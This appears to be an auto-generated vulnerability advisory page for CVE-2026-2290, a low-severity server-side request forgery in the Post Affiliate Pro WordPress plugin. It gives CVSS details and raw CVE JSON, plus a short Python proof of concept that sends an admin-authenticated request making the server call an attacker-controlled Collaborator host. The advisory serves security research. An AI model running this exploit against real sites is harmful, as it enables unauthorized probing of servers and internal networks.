Security Vulnerability Report
中文
CVE-2026-2290 CVSS 3.8 LOW

CVE-2026-2290

Published: 2026-03-21 04:16:58
Last Modified: 2026-04-22 21:32:08

Description

The Post Affiliate Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.28.0. This makes it possible for authenticated attackers, with Administrator-level access, to make web requests to initiate arbitrary outbound requests from the application and read the returned response content. Successful exploitation was confirmed by receiving and observing response data from an external Collaborator endpoint.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Post Affiliate Pro <= 1.28.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_controlled_url = "http://burpcollaborator.net" # Authentication cookie (Admin level required) cookies = { "wordpress_logged_in_xxx": "admin_cookie_value", "wordpress_sec_xxx": "secure_cookie_value" } # Payload data - Simulating the vulnerable action found in Base.class.php payload = { "action": "postaffiliatepro_action", "url": attacker_controlled_url # Vulnerable parameter triggering SSRF } try: # Sending the request to trigger SSRF response = requests.post(target_url, data=payload, cookies=cookies, timeout=10) # Check if the server-side request was initiated successfully if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Server response:", response.text) print("[+] Check your collaborator listener for DNS/HTTP interactions.") else: print("[-] Failed to send request. Status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2290", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:58.187", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Post Affiliate Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.28.0. This makes it possible for authenticated attackers, with Administrator-level access, to make web requests to initiate arbitrary outbound requests from the application and read the returned response content. Successful exploitation was confirmed by receiving and observing response data from an external Collaborator endpoint."}, {"lang": "es", "value": "El plugin Post Affiliate Pro para WordPress es vulnerable a la falsificación de petición del lado del servidor en todas las versiones hasta la 1.28.0, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel de Administrador, realicen peticiones web para iniciar peticiones salientes arbitrarias desde la aplicación y leer el contenido de la respuesta devuelta. La explotación exitosa fue confirmada al recibir y observar datos de respuesta desde un endpoint de Collaborator externo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/postaffiliatepro/tags/1.28.0/Base.class.php#L127", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postaffiliatepro/trunk/Base.class.php#L127", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/369cd6ca-bb36-479e-b342-36d2ca778ce1?source=cve", "source": "[email protected]"}]}}